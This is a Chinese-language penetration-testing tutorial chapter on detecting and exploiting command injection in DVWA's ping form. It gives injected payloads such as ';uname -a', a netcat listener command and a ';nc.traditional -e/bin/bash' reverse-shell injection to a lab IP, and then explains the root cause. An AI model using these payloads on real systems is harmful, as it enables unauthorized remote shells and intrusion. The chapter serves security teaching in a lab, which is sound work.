翻译来自:掣雷小组
成员信息:
thr0cyte,Gr33k,花花,MrTools,R1ght0us,7089bAt
标记红色的部分为今日更新内容。
6.0、介绍
6.1、寻找文件包含漏洞
6.2、文件包含和文件上传
6.3、手工验证SQL注入
6.4、基于错误的SQL注入
6.5、确认并利用SQL盲注漏洞
6.6、使用SQLMap查找和利用SQL注入
6.7、利用XML外部实体注入
6.8、检测和利用命令注入漏洞
6.8、检测和利用命令注入漏洞
我们以前已经看到如何使用PHP的system()函数在服务器中执行操作系统命令。有时,开发人员使用诸如此类的指令或具有相同功能的其他指令来执行某些任务。最终,它们使用未经验证的用户输入作为命令执行的参数,因此就形成了命令注入漏洞。
在此小节中,我们将利用命令注入漏洞从服务器提取重要的信息。
实战演练
登录到DVWA中,并进入命令执行页面(Command Execution)
1. 我们将看到一个自由形式的Ping表格。来让我试一下ping 192.168.56.10(这是我们Kali Linux的IP):
这个输出看起来像是直接从ping命令的输出中获得的。这表明服务器正在使用操作系统命令来执行ping,因此可能会注入操作系统命令。
2. 让我们尝试注入一个非常简单的命令。提交以下代码,
192.168.56.10;uname –a:
我们可以在ping输出之后看到uname命令的输出。我们这里有一个命令注入漏洞。
3. 如果去掉IP地址,仅有;uname –a 呢?结果如下图所示:
4. 现在,我们将在服务器上获得一个反向shell。首先,我们必须确保服务器上拥有我们需要的东西。提交 ;ls /bin/nc*。它应该返回一个完整路径的文件列表:
我们有不止一个版本的NetCat,它是我们用来生成连接的工具。NetCat的OpenBSD版本不支持在连接上执行命令,因此我们将使用traditional。
5. 下一步是监听Kali Linux中的连接。打开终端,运行以下命令:
nc -lp 1691 -v
6. 然后我们在浏览器中提交以下内容:
;nc.traditional -e/bin/bash 192.168.56.10 1691 &
7. 我们将看到如何在监听Kali终端接收连接。在这里,我们可以在服务器上执行命令,如下图所示:
我们的终端会对连接做出反应。现在我们可以发出非交互式命令并检查它们的输出。
原理剖析
与SQLi和其他示例一样,命令注入漏洞是由于输入验证机制不佳,以及使用用户提供的数据来形成字符串,这些字符串可能将用作操作系统的命令。如果我们查看我们刚刚攻击的页面的源代码(每个DVWA页面右下角都有一个按钮),如图所示:
我们可以看到它直接将用户的输入追加到ping命令。我们所做的只是添加了一个分号,系统的shell将其解释为命令分隔符,在分号旁边是我们想要执行的命令。
在成功执行命令之后,下一步是验证服务器是否具有NetCat, NetCat是一种能够建立网络连接的工具,在某些版本中,还可以在建立新连接时执行命令。
我们看到服务器的系统有两个不同版本的NetCat,之后我们选择了适合我们版本特性的那个。
然后,我们将攻击系统设置为侦听TCP端口1691上的连接(可能是任何其他可用的TCP端口),然后,指示服务器通过该端口连接到我们的机器,并在连接建立时执行/bin/bash(系统shell)。我们通过该连接发送的任何内容都将被服务器中的shell作为输入接收。使用&在命令的末尾,是在后台执行它,防止PHP脚本的执行停止,因为它正在等待命令的响应。
--------------------------------------------------------------------
领取专属 10元无门槛券
私享最新 技术干货